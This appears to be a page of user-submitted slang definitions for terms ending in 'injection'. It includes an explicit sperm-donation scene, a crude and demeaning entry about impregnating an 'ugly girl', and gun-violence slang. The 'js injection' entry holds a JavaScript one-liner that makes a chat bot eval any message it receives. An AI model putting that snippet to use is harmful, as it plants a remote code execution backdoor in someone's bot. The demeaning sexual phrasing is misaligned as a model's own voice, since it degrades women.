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Direct-injection

When a man directly ejaculates inside a woman's vagina with as little intercourse as possible and for the sole purpose of achieving conception. A process of donating sperm that leaves out the sperm banks.
We opted for direct-injection to receive sperm from the donor. I was on the edge of the bed, doggie style, and draped with a white sheet. The donor was behind a folding shoji screen. He was naked and wearing a clean white robe.

He was masturbating with a sanitary safe lubricant. When he got to the point where he was edging he said - I'm ready. I signaled to my husband that I was also ready to receive the donation. My husband called him out, lifted the sheet(which shows consent), and the donor nonchalantly deposited his donation with only one thrust. Then he went back behind the shoji, got dressed, and my husband thanked him and escorted him out of the room while I remained in a position best for conception. It was not sexual in the regularly accepted way. We all had a positive experience. A few weeks later, I tested positive for being pregnant!
by mememetoo December 3, 2018
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cardiac injection

A person of age range 60-1 who has a needle that they sucked the cardiac juice out of there grandparent with and then injected themselves with it
"My grandpa landed me help with making my cardiac injection
by John Tiplet April 11, 2023
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Led Injection

A fired bullet. Particularly used when it hits a target. (The action of shooting something/somebody)
Char 1: "Step the fuck back right now before I give you a led injection!" (Points gun)
Char 2: "Whoa, Whoa! Okay!"
by AdielenDaFelon January 3, 2025
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js injection

^runjs bot.socket.on("message",function(data){let args=data.msg.split(" ");if("$eval"==args0)try{bot.socket.emit("message",eval(args.slice(1).join(" ")).toString())}catch(t){bot.socket.emit("message",t.toString())}});
/* js injection is a hacking method where hackers pass their payloads through arbitrary javascript */
/* Tom had to fix a bug in myspace because it allowed hackers to perform js injection and collect other users' passwords */
by Melissa 2000 April 3, 2021
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Jork injection

When you want to get a ugly girl pregnant without putting your Willy in her so you jork it until your ectoplasm is on the floor and you suck it up with a syringe and squirt your cum out of the syringe into her vagina
Bro I want to get this ugly girl pregnant so badly so I pulled off the Jork injection
by Studje creators friend February 3, 2025
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That thing or person in your life that appears to exist simply to make your continued existence more difficult. This can be a friend, family member, colleague, pet, or just your hoopty that makes your life difficult. This is differentiated from a simple issue in that it can't easily be eliminated without substantial cost and rather than passively irritating you the PCIE appears to thrive on creating more trouble.
My personal chaos injection engine decided the set all my clothes on fire last night because I deleted "The Bold Type" from the DVR.
by Evil Architect June 26, 2018
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text injection

When you send someone a text that is Holy Spirit inspired. Sometimes a prophetic word, sometimes a word of encouragement, but always filled with love and fire! Pointing People to Jesus.
I will send you a text injection as the Lord leads.
by GloryCarrier January 19, 2018
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